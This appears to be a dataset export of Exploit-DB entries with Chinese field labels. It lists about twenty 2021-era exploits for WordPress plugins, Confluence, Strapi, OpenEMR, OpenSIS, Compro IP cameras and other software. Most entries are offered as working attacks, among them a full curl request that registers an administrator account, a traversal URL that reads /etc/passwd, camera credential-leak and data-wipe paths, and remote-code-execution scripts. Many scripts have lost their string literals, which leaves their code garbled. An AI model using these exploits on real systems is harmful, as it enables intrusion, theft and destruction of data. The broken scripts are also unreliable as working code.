QLWD/code_shield huggingface dataset:
标题: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass EDB-ID: 50299 CVE: 2021-34646 类型: WEBAPPS 平台: PHP 发布日期: 2021-09-17 漏洞利用脚本: # Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass
# Date: 2021-09-16
# Exploit Author: Sebastian Kriesten (0xB455)
# Contact: https://twitter.com/0xB455
#
# Affected Plugin: Booster for WooCommerce
# Plugin Slug: woocommerce-jetpack
# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/
# Affected Versions: <= 5.4.3
# Fully Patched Version: >= 5.4.4
# CVE: CVE-2021-34646
# CVSS Score: 9.8 (Critical)
# Category: webapps











 requestssyshashlib
 argparse
 datetime
 emailutils
 calendar
 base64

B  
W  
R  
RST  

parser  argparseArgumentParser
parseradd_argument 
parseradd_argument   default
args  parserparse_args
  args
url  argsurl
 argsurl   
        url  url  

verify_url url    
r  requestsgetverify_url

 rstatus_code  
        
        rheaders
        sysexit

 s
    tt  emailutilsparsedate_tzs
     tt    
     calendartimegmtt  tt

date  rheaders
unix  email_time_to_timestampdate

 
    f  date
    f  unix  f
    
    

printBanner



 i   
          hashlibmd5unixiencodehexdigest
        f  i  ff
        token  
        token  base64b64encodetokenencodedecode
        token  tokenrstrip 
        link  urltoken
        link  f URL: https://www.exploit-db.com/exploits/50299
标题: Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai EDB-ID: 50289 CVE: 2021-24040 类型: LOCAL 平台: PYTHON 发布日期: 2021-09-13 漏洞利用脚本: # Exploit Title: Facebook ParlAI 1.0.0 -  Deserialization of Untrusted Data in parlai
# Date: 2021-09-11
# Exploit Author: Abhiram V
# Vendor Homepage: https://parl.ai/
# Software Link: https://github.com/facebookresearch/ParlAI
# Version: < 1.1.0
# Tested on: Linux
# CVE: CVE-2021-24040
# References : 
# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg
# | https://anon-artist.github.io/blogs/blog3.html |

############################################################################

Introduction
ParlAI pronounced “parlay”  a free source python framework 
sharing training  evaluating AI models on a variety of openly available
dialogue datasets



Vulnerability details



Description
ParlAI was vulnerable to YAML deserialization attack caused by unsafe
loading which leads to Arbitrary Code Execution

Proof of Concept

Create the following PoC  exploitpy

 os

 parlaichat_serviceutils  config
exploit  
writeexploit
configparse_configuration_file

Execute the python script ie python3 exploitpy

Impact
Code Execution URL: https://www.exploit-db.com/exploits/50289
标题: FlatCore CMS 2.0.7 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50262 CVE: 2021-39608 类型: WEBAPPS 平台: PHP 发布日期: 2021-09-06 漏洞利用脚本: # Exploit Title: FlatCore CMS 2.0.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 04/10/2021
# Exploit Author: Mason Soroka-Gill @sgizoid
# Vendor Homepage: https://flatcore.org/
# Software Link: https://github.com/flatCore/flatCore-CMS/archive/refs/tags/v2.0.7.tar.gz
# Version: 2.0.7
# Tested on: Ubuntu Server 21.04
# CVE: CVE-2021-39608
# References:
#   - https://github.com/flatCore/flatCore-CMS/issues/52

#!/usr/bin/env python3

 sys
 requests
 lxml  html
 urllibparse  urlencode

 sysargv  
    f
    exit

TARGET    sysargv
USERNAME  sysargv
PASSWORD  sysargv


resp  requestspostf
        data
            f
            f
            


PHPSESSID  respheaderssplit


resp  requestsgetf
        headersPHPSESSID
 respstatus_code  
    
    exit

    


csrf_token  htmldocument_fromstringresptextxpathvalue


resp  requestspostf
        data csrf_token                     
        files    
        headersPHPSESSID                                               


 
    command  
     commandlower    commandlower  
        
    resp  requestsgetf
    
     respstatus_code  
        resptext
    
        
        


resp  requestsgetf
        headersPHPSESSID
 respstatus_code  
    


resp  requestsgetf
        headersPHPSESSID
 respstatus_code  
    

exit URL: https://www.exploit-db.com/exploits/50262
标题: OpenEMR 6.0.0 - 'noteid' Insecure Direct Object Reference (IDOR) EDB-ID: 50260 CVE: 2021-40352 类型: WEBAPPS 平台: PHP 发布日期: 2021-09-06 漏洞利用脚本: # Exploit Title: OpenEMR 6.0.0 - 'noteid' Insecure Direct Object Reference (IDOR)
# Date: 31/08/2021
# Exploit Author: Allen Enosh Upputori
# Vendor Homepage: https://www.open-emr.org
# Software Link: https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads
# Version:  6.0.0 
# Tested on: Linux 
# CVE : CVE-2021-40352

How to Reproduce this Vulnerability:

1. Install Openemr 6.0.0
2. Login as an Physician
3. Open Messages 
4. Click Print 
5. Change the existing "noteid=" value to another number 

This will reveal everybodys messages Incuding Admin only Messages URL: https://www.exploit-db.com/exploits/50260
标题: OpenSIS 8.0 'modname' - Directory Traversal EDB-ID: 50259 CVE: 2021-40651 类型: WEBAPPS 平台: PHP 发布日期: 2021-09-03 漏洞利用脚本: # Exploit Title: OpenSIS 8.0 'modname' - Directory/Path Traversal
# Date: 09-02-2021
# Exploit Author: Eric Salario
# Vendor Homepage: http://www.os4ed.com/
# Software Link: https://opensis.com/download
# Version: 8.0
# Tested on: Windows, Linux
# CVE: CVE-2021-40651

The 'modname' parameter in the 'Modules.php' is vulnerable to local file inclusion vulnerability. This vulnerability can be exploited to expose sensitive information from arbitrary files in the underlying system.

To exploit the vulnerability, someone must login as the "Parent" user, navigate to http://localhost/Modules.php?modname=miscellaneous%2fPortal.php. The 'modname' parameter and requests the Portal.php's contents. By going back a few directory using '..%2f' decoded as '../' it was possible to disclose arbitrary file from the server's filesystem as long as the application has access to the file.

1. Login as "Parent"

2. Open a web proxy such as BurpSuite and capture the requests

3. Navigate to http://localhost/Modules.php?modname=miscellaneous%2fPortal.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&failed_login=

4. Check the response

PoC: https://youtu.be/wFwlbXANRCo URL: https://www.exploit-db.com/exploits/50259
标题: Compro Technology IP Camera - ' mjpegStreamer.cgi' Screenshot Disclosure EDB-ID: 50254 CVE: 2021-40382 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-09-02 漏洞利用脚本: # Exploit Title: Compro Technology IP Camera - ' mjpegStreamer.cgi' Screenshot Disclosure
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40382

There is an unauthorized access vulnerability, which can lead to
unauthorized access to camera video screenshots.

Payload:

/mjpegStreamer.cgi

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md URL: https://www.exploit-db.com/exploits/50254
标题: Compro Technology IP Camera - RTSP stream disclosure (Unauthenticated) EDB-ID: 50251 CVE: 2021-40379 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-09-02 漏洞利用脚本: # Exploit Title: Compro Technology IP Camera - RTSP stream disclosure (Unauthenticated)
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40379

Some devices have unauthorized access to rstp, which can lead to the
leakage of surveillance video stream information.

Payload:rstp://.../medias2

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md URL: https://www.exploit-db.com/exploits/50251
标题: Compro Technology IP Camera - ' index_MJpeg.cgi' Stream Disclosure EDB-ID: 50253 CVE: 2021-40381 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-09-02 漏洞利用脚本: # Exploit Title: Compro Technology IP Camera - ' index_MJpeg.cgi' Stream Disclosure
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40381

Has an unauthorized access vulnerability, which can lead to unauthorized
access to the camera video page.

Payload:

/cgi-bin/view/index_MJpeg.cgi

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md URL: https://www.exploit-db.com/exploits/50253
标题: Compro Technology IP Camera - 'Multiple' Credential Disclosure EDB-ID: 50252 CVE: 2021-40380 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-09-02 漏洞利用脚本: # Exploit Title: Compro Technology IP Camera - 'Multiple' Credential Disclosure
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40380

There are unauthorized access vulnerabilities, which can lead to the
disclosure of device administrator usernames and passwords or rstp
usernames and passwords.

Payload:

/cgi-bin/cameralist/cameralist.cgi
/cgi-bin/cameralist/setcamera.cgi?id=*

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md URL: https://www.exploit-db.com/exploits/50252
标题: Compro Technology IP Camera - 'killps.cgi' Denial of Service (DoS) EDB-ID: 50250 CVE: 2021-40378 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-09-02 漏洞利用脚本: # Exploit Title: Compro Technology IP Camera - 'killps.cgi' Denial-of-Service (DoS)
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40378

There is a backdoor prefabricated in the device in this path. Accessing the
file through the browser after logging in will cause the device to delete
all data (including the data of the camera itself).

Payload:Visit this page after logging in
/cgi-bin/support/killps.cgi

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md URL: https://www.exploit-db.com/exploits/50250
标题: Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated) EDB-ID: 50243 CVE: 2021-26084 类型: WEBAPPS 平台: JAVA 发布日期: 2021-09-01 漏洞利用脚本: # Exploit Title: Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated)
# Date: 01/09/2021
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.12.x versions before 7.12.5
# Tested on: Linux Distros 
# CVE : CVE-2021-26084

#!/usr/bin/python3

# References: 
# https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html


 requests
 bs4  BeautifulSoup
 optparse

parser  optparseOptionParser
parseradd_option  action dest 
parseradd_option  action dest 

options args  parserparse_args
session  requestsSession

url_vuln  optionsurl
endpoint  optionspath

  optionsurl   optionspath

    
    
    
    exit


 

    
    
    
    
    


 

     
        cmd  
        xpl_url  url_vuln  endpoint
        xpl_headers         
        xpl_data   cmd
        rawHTML  sessionpostxpl_url headersxpl_headers dataxpl_data

        soup  BeautifulSouprawHTMLtext 
        queryStringValue  soupfindattrs   
        queryStringValue


banner
cmdExec URL: https://www.exploit-db.com/exploits/50243
标题: Umbraco CMS 8.9.1 - Directory Traversal EDB-ID: 50241 CVE: 2020-5811 类型: WEBAPPS 平台: ASPX 发布日期: 2021-08-31 漏洞利用脚本: # Exploit Title: Umbraco CMS 8.9.1 - Path traversal and Arbitrary File Write (Authenticated)
# Exploit Author: BitTheByte
# Description: Authenticated path traversal vulnerability.
# Exploit Research: https://www.tenable.com/security/research/tra-2020-59
# Vendor Homepage: https://umbraco.com/
# Version: <= 8.9.1 
# CVE : CVE-2020-5811

import string
import random
import argparse
import zipfile
import os

package_xml = f"""<?xml version="1.0" encoding="utf-8"?>
<umbPackage>
  <files>
    <file>
      <guid>{{filename}}</guid>
      <orgPath>{{upload_path}}</orgPath>
      <orgName>{{filename}}</orgName>
    </file>
  </files>
  <info>
    <package>
      <name>PoC-{''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))}</name>
      <version>1.0.0</version>
      <iconUrl></iconUrl>
      <license url="http://opensource.org/licenses/MIT">MIT License</license>
      <url>https://example.com</url>
      <requirements>
        <major>0</major>
        <minor>0</minor>
        <patch>0</patch>
      </requirements>
    </package>
    <author>
      <name>CVE-2020-5811</name>
      <website>https://example.com</website>
    </author>
    <contributors>
      <contributor></contributor>
    </contributors>
    <readme><![CDATA[]]></readme>
  </info>
  <DocumentTypes />
  <Templates />
  <Stylesheets />
  <Macros />
  <DictionaryItems />
  <Languages />
  <DataTypes />
  <Actions />
</umbPackage>
"""

parser  argparseArgumentParserdescription
parseradd_argument   required
parseradd_argument   default
args  parserparse_args

  ospathisfileargsshell
  

output_file  

package  zipfileZipFileoutput_file   
packagewritestr package_xmlfilenameospathbasenameargsshell upload_pathargsupload_path
packagewritestrospathbasenameargsshell argsshell read
packageclose

f URL: https://www.exploit-db.com/exploits/50241
标题: WordPress Plugin ProfilePress 3.1.3 - Privilege Escalation (Unauthenticated) EDB-ID: 50242 CVE: 2021-34621 类型: WEBAPPS 平台: PHP 发布日期: 2021-08-31 漏洞利用脚本: # Exploit Title: WordPress Plugin ProfilePress 3.1.3 - Privilege Escalation (Unauthenticated)
# Date: 23-08-2021
# Exploit Author: Numan Rajkotiya
# Vendor Homepage: https://profilepress.net/
# Software Link: https://downloads.wordpress.org/plugin/wp-user-avatar.3.0.zip
# Version: [1] ProfilePress (Formerly WP User Avatar) 3.0 - 3.13
    [2] WordPress 4.7 or higher
# Tested on: ProfilePress 3.0, Apache 2.4, and Windows Build 19043.928
# CVE : CVE-2021-34621

#!/bin/bash

# Exploit for WordPress Plugin ProfilePress 3.0 - 3.1.3 
# Change the name and password as per your requirement.

URL=$1

curl -X POST $URL"/wp-admin/admin-ajax.php" \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "reg_username=numan" \
 -d "reg_email=pwned@numan.com" \
 -d "reg_password=numan" \
 -d "reg_password_present=true" \
 -d "wp_capabilities[administrator]=1" \
 -d "reg_first_name=pwned" \
 -d "reg_last_name=numan" \
 -d "action=pp_ajax_signup" URL: https://www.exploit-db.com/exploits/50242
标题: Strapi 3.0.0-beta - Set Password (Unauthenticated) EDB-ID: 50237 CVE: 2019-18818 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-08-30 漏洞利用脚本: # Exploit Title: Strapi 3.0.0-beta - Set Password (Unauthenticated)
# Date: 2021-08-29
# Exploit Author: David Anglada [CodiObert]
# Vendor Homepage: https://strapi.io/
# Version: 3.0.0-beta
# Tested on: Linux
# CVE: CVE-2019-18818

#!/usr/bin/python

import requests
import sys
import json

userEmail = "valid@email.com"
strapiUrl  
newPassword  

s  requestsSession


strapiVersion  jsonloadssgetstrapiUrltext

strapiVersion


 strapiVersionstartswith  strapiVersionstartswith
 
 userEmail
 resetPasswordRequserEmail strapiUrl
 spoststrapiUrl jsonresetPasswordReq

 
 
 exploit newPassword newPassword
 rspoststrapiUrl jsonexploit

 
    rcontent
  newPassword userEmail
 
  
  sysexit

 
 sysexit URL: https://www.exploit-db.com/exploits/50237
标题: Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50238 CVE: 2019-19609 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-08-30 漏洞利用脚本: # Exploit Title: Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 29/08/2021
# Exploit Author: David Utón (M3n0sD0n4ld)
# Vendor Homepage: https://strapi.io/
# Affected Version: strapi-3.0.0-beta.17.7 and earlier
# Tested on: Linux Ubuntu 18.04.5 LTS
# CVE : CVE-2019-19609

#!/usr/bin/python3
# Author: @David_Uton (m3n0sd0n4ld)
# Github: https://m3n0sd0n4ld.github.io
# Usage: python3 CVE-2019-19609.py http[s]//IP[:PORT] TOKEN_JWT COMMAND LHOST

import requests, sys, os, socket

logoType  

 __name__  

 
  sysargv  
  logoType
  
    sysargv
 
 
  
  url  sysargv
  token  sysargv
  command  sysargv
  lhost  sysargv
  lport  
  
  s  requestssession
  
  r  sposturl verify 
  
  headersData  
    
      token
  

  postData  
     command lhost lport
  
  
  logoType
  ossystem
  
   
   r  sposturl   headersheadersData datapostData verify 
   
   rtext
  
   
   sysexit URL: https://www.exploit-db.com/exploits/50238
标题: HP OfficeJet 4630/7110 MYM1FN2025AR/2117A - Stored Cross-Site Scripting (XSS) EDB-ID: 50227 CVE: 2021-3441 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-08-25 漏洞利用脚本: # Exploit Title: HP OfficeJet 4630/7110 MYM1FN2025AR 2117A – Stored Cross-Site Scripting (XSS)
# Date: 01/08/2021
# Exploit Author: Tyler Butler
# Vendor Homepage: https://www8.hp.com/
# Vendor Bulletin: https://support.hp.com/ie-en/document/ish_4433829-4433857-16/hpsbpi03742
# Researcher Bulletin: https://tbutler.org/2021/04/29/hp-officejet-4630
# Version: HP OfficeJet 7110 Wide Format ePrinter
# Tested on: HP Officejet 4630 e-All-in-One Printer series model number B4L03A

# PoC:
import requests
import json
from requests.exceptions import HTTPError

target     
payload    
path   
pre    
post     
body  pre  payload  post


headers  
             
            
            
            
            
            
            bodyencode
            
            
            target
        



    payload
    response  requestsputtargetpath headers  headers data  body
    responseraise_for_status
 HTTPError  http_err
    f 
 Exception  err
    f URL: https://www.exploit-db.com/exploits/50227
标题: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow EDB-ID: 50216 CVE: 2006-1236 类型: REMOTE 平台: LINUX 发布日期: 2021-08-18 漏洞利用脚本: # Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow
# Exploit Author: Khaled Salem @Khaled0x07
# Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz
# Version: 1.9.0
# Tested on: Kali Linux 2020.4
# CVE : CVE-2006-1236

#!/bin/python
import socket
import time


# Crash at 4379





size  


shellcode   b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b
shellcode  b





 filler      shellcodeshellcode
 EIP   
 padding      filler  EIP
 payload  filler  EIP  padding
 inputBuffer   payload 
   payload
 s  socketsocketsocketAF_INET  socketSOCK_STREAM
 sconnect 
 srecv

 ssendinputBuffer
 sclose


 
 exit URL: https://www.exploit-db.com/exploits/50216
标题: SonicWall NetExtender 10.2.0.300 - Unquoted Service Path EDB-ID: 50212 CVE: 2020-5147 类型: LOCAL 平台: WINDOWS 发布日期: 2021-08-17 漏洞利用脚本: # Exploit Title: SonicWall NetExtender 10.2.0.300 -  Unquoted Service Path
# Exploit Author: shinnai
# Software Link: https://www.sonicwall.com/products/remote-access/vpn-clients/
# Version: 10.2.0.300
# Tested On: Windows
# CVE: CVE-2020-5147

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Title: SonicWall NetExtender windows client unquoted service path 
vulnerability
Vers.: 10.2.0.300
Down.: https://www.sonicwall.com/products/remote-access/vpn-clients/

Advisory: 
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2020-0023
CVE ID: CVE-2020-5147 (https://nvd.nist.gov/vuln/detail/CVE-2020-5147)

URLs:
https://besteffortteam.it/sonicwall-netextender-windows-client-unquoted-service-path-vulnerability/
https://shinnai.altervista.org/exploits/SH-029-20210109.html

Desc.:
SonicWall NetExtender Windows client vulnerable to unquoted service path 
vulnerability, this allows a local attacker to gain elevated privileges 
in the host operating system.
This vulnerability impact SonicWall NetExtender Windows client version 
10.2.300 and earlier.

Poc:

C:\>sc qc sonicwall_client_protection_svc
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
NOME_SERVIZIO: sonicwall_client_protection_svc
         TIPO                      : 10  WIN32_OWN_PROCESS
         TIPO_AVVIO                : 2   AUTO_START
         CONTROLLO_ERRORE          : 1   NORMAL
         NOME_PERCORSO_BINARIO     : C:\Program Files\SonicWall\Client 
Protection Service\SonicWallClientProtectionService.exe <-- Unquoted 
Service Path Vulnerability
         GRUPPO_ORDINE_CARICAMENTO :
         TAG                       : 0
         NOME_VISUALIZZATO         : SonicWall Client Protection Service
         DIPENDENZE                :
         SERVICE_START_NAME : LocalSystem
C:\>

----------------------------------------------------------------------------------------------------------------------------------------------------------------------

C:\>wmic service get name,displayname,pathname,startmode |findstr /i 
"auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
SonicWall Client Protection Service                              
sonicwall_client_protection_svc  C:\Program Files\SonicWall\Client 
Protection Service\SonicWallClientProtectionService.exe      Auto

C:\>
---------------------------------------------------------------------------------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/50212
标题: Xiaomi browser 10.2.4.g - Browser Search History Disclosure EDB-ID: 50188 CVE: 2018-20523 类型: LOCAL 平台: ANDROID 发布日期: 2021-08-10 漏洞利用脚本: # Exploit Title: Xiaomi browser 10.2.4.g - Browser Search History Disclosure
# Date: 27-Dec-2018
# Exploit Author: Vishwaraj101
# Vendor Homepage: https://www.mi.com/us
# Software Link: https://www.apkmirror.com/apk/xiaomi-inc/mi-browse/mi-browse-10-2-4-release/
# Version: 10.2.4.g
# Tested on: Tested in Android Version: 8.1.0
# CVE : CVE-2018-20523

*summary: *
Xiaomi Stock Browser 10.2.4.g on Xiaomi Redmi Note 5 Pro devices and other Redmi Android phones were vulnerable to content provider injection using which any 3rd party application can read the user’s browser history.

*Vulnerable component:* com.android.browser.searchhistory

*Poc:*

adb forward tcp:31415 tcp:31415

drozer console connect

drozer > run app.provider.query
content://com.android.browser.searchhistory/searchhistory

*Blogpost:*

https://vishwarajbhattrai.wordpress.com/2019/03/22/content-provider-injection-in-xiaomi-stock-browser/ URL: https://www.exploit-db.com/exploits/50188
标题: Amica Prodigy 1.7 - Privilege Escalation EDB-ID: 50184 CVE: 2021-35312 类型: LOCAL 平台: WINDOWS 发布日期: 2021-08-10 漏洞利用脚本: # Exploit Title: Amica Prodigy 1.7 - Privilege Escalation
# Date: 2021-08-06
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://gestionaleamica.com - https://www.bisanziosoftware.com
# Software Link: https://gestionaleamica.com/Download/AmicaProdigySetup.exe
# Version: 1.7
# Tested on: Windows 10 Pro 20H2 x64
# CVE: CVE-2021-35312

Amica Prodigy it's a backup solution from Amica softwares (GestionaleAmica: invoices, accounting, etc.,
from website gestionaleamica.com), a CIR 2000 srl / Bisanzio Software srl

A vulnerability was found in CIR 2000 / Gestionale Amica Prodigy v1.7. The Amica Prodigy's executable
"RemoteBackup.Service.exe" has incorrect permissions, allowing a local unprivileged user to replace it
with a malicious file that will be executed with "LocalSystem" privileges at scheduled time.

C:\Users\user>icacls C:\AmicaProdigy\RemoteBackup.Service.exe

C:\AmicaProdigy\RemoteBackup.Service.exe
     NT AUTHORITY\Authenticated Users:(I)(M) NT
     AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F)
     BUILTIN\Users:(I)(RX) Elaborazione completata per 1 file. URL: https://www.exploit-db.com/exploits/50184